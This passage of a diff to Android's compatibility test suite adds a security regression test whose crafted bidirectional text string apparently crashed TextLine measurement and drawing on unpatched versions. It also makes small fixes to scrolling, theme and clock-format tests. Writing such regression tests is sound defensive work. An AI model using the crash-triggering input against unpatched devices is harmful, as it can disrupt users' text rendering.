+}
diff --git a/tests/tests/text/src/android/text/cts/StaticLayoutTest.java b/tests/tests/text/src/android/text/cts/StaticLayoutTest.java
index 56a6c85..12a4271 100644
--- a/tests/tests/text/src/android/text/cts/StaticLayoutTest.java
+++ b/tests/tests/text/src/android/text/cts/StaticLayoutTest.java
@@ -33,6 +33,7 @@
 import android.graphics.Paint.FontMetricsInt;
 import android.graphics.Typeface;
 import android.os.LocaleList;
+import android.platform.test.annotations.SecurityTest;
 import android.text.Editable;
 import android.text.Layout;
 import android.text.Layout.Alignment;
@@ -1681,4 +1682,33 @@
         end = LOREM_IPSUM.length();
         testLineBackgroundSpanInRange(LOREM_IPSUM, start, end);
     }
+
+    // This is for b/140755449
+    @SecurityTest
+    @Test
+    public void testBidiVisibleEnd() {
+        TextPaint paint = new TextPaint();
+        // The default text size is too small and not useful for handling line breaks.
+        // Make it bigger.
+        paint.setTextSize(32);
+
+        final String input = "\u05D0aaaaaa\u3000 aaaaaa";
+        // To make line break happen, pass slightly shorter width from the full text width.
+        final int lineBreakWidth = (int) (paint.measureText(input) * 0.8);
+        final StaticLayout layout = StaticLayout.Builder.obtain(
+                input, 0, input.length(), paint, lineBreakWidth).build();
+
+        // Make sure getLineMax won't cause crashes.
+        // getLineMax eventually calls TextLine.measure which was the problematic method.
+        layout.getLineMax(0);
+
+        final Bitmap bmp = Bitmap.createBitmap(
+                layout.getWidth(),
+                layout.getHeight(),
+                Bitmap.Config.RGB_565);
+        final Canvas c = new Canvas(bmp);
+        // Make sure draw won't cause crashes.
+        // draw eventualy calls TextLine.draw which was the problematic method.
+        layout.draw(c);
+    }
 }
diff --git a/tests/tests/text/src/android/text/method/cts/ScrollingMovementMethodTest.java b/tests/tests/text/src/android/text/method/cts/ScrollingMovementMethodTest.java
index e19dfe8..34ffd76 100644
--- a/tests/tests/text/src/android/text/method/cts/ScrollingMovementMethodTest.java
+++ b/tests/tests/text/src/android/text/method/cts/ScrollingMovementMethodTest.java
@@ -263,8 +263,18 @@
         assertTrue(mTextView.getScrollY() > previousScrollY);
         assertTrue(mTextView.getScrollX() < bottom);
 
+        assertTrue(getActionResult(new ActionRunnerWithResult() {
+            public void run() {
+                // move back up for the next test
+                mResult = method.onTouchEvent(mTextView, mSpannable, MotionEvent.obtain(now, now,
+                        MotionEvent.ACTION_MOVE, 0, -distFar, 0));
+            }
+        }));
+
         previousScrollY = mTextView.getScrollY();
-        final int distTooFar = (int) (-bottom * 10);
+        // further detracting mScaledTouchSlop from (-bottom * 10) so it is guaranteed to be
+        // greater than the touch slop value.
+        final int distTooFar = (int) (-bottom * 10) - mScaledTouchSlop;
         assertTrue(getActionResult(new ActionRunnerWithResult() {
             public void run() {
                 // move for long distance
diff --git a/tests/tests/transition/res/values/styles.xml b/tests/tests/transition/res/values/styles.xml
index 00303c9..be2272e 100644
--- a/tests/tests/transition/res/values/styles.xml
+++ b/tests/tests/transition/res/values/styles.xml
@@ -14,7 +14,7 @@
      limitations under the License.
      -->
 <resources xmlns:android="http://schemas.android.com/apk/res/android">
-  <style name="Theme_NoSwipeDismiss">
+  <style name="Theme_NoSwipeDismiss" parent="android:Theme.DeviceDefault">
     <item name="android:windowSwipeToDismiss">false</item>
   </style>
 </resources>
diff --git a/tests/tests/widget/src/android/widget/cts/TextClockTest.java b/tests/tests/widget/src/android/widget/cts/TextClockTest.java
index 9a41bbf..9438ed1 100644
--- a/tests/tests/widget/src/android/widget/cts/TextClockTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TextClockTest.java
@@ -104,6 +104,16 @@
             }
         }
 
+        // If the time was already set to 12, we want it to start at locale-specified
+        if (mDefaultTime1224 != null) {
+            final CountDownLatch changeDefault = registerForChanges(Settings.System.TIME_12_24);
+            mActivityRule.runOnUiThread(() -> {
+                Settings.System.putString(resolver, Settings.System.TIME_12_24, null);
+            });
+            assertTrue(changeDefault.await(1, TimeUnit.SECONDS));
+        }
+
+        // Change to 12-hour mode
         final CountDownLatch change12 = registerForChanges(Settings.System.TIME_12_24);
         mActivityRule.runOnUiThread(() -> {
             Settings.System.putInt(resolver, Settings.System.TIME_12_24, 12);
@@ -124,6 +134,7 @@
             return ok.value;
         });
 
+        // Change to 24-hour mode
         final CountDownLatch change24 = registerForChanges(Settings.System.TIME_12_24);
         mActivityRule.runOnUiThread(() -> {
             Settings.System.putInt(resolver, Settings.System.TIME_12_24, 24);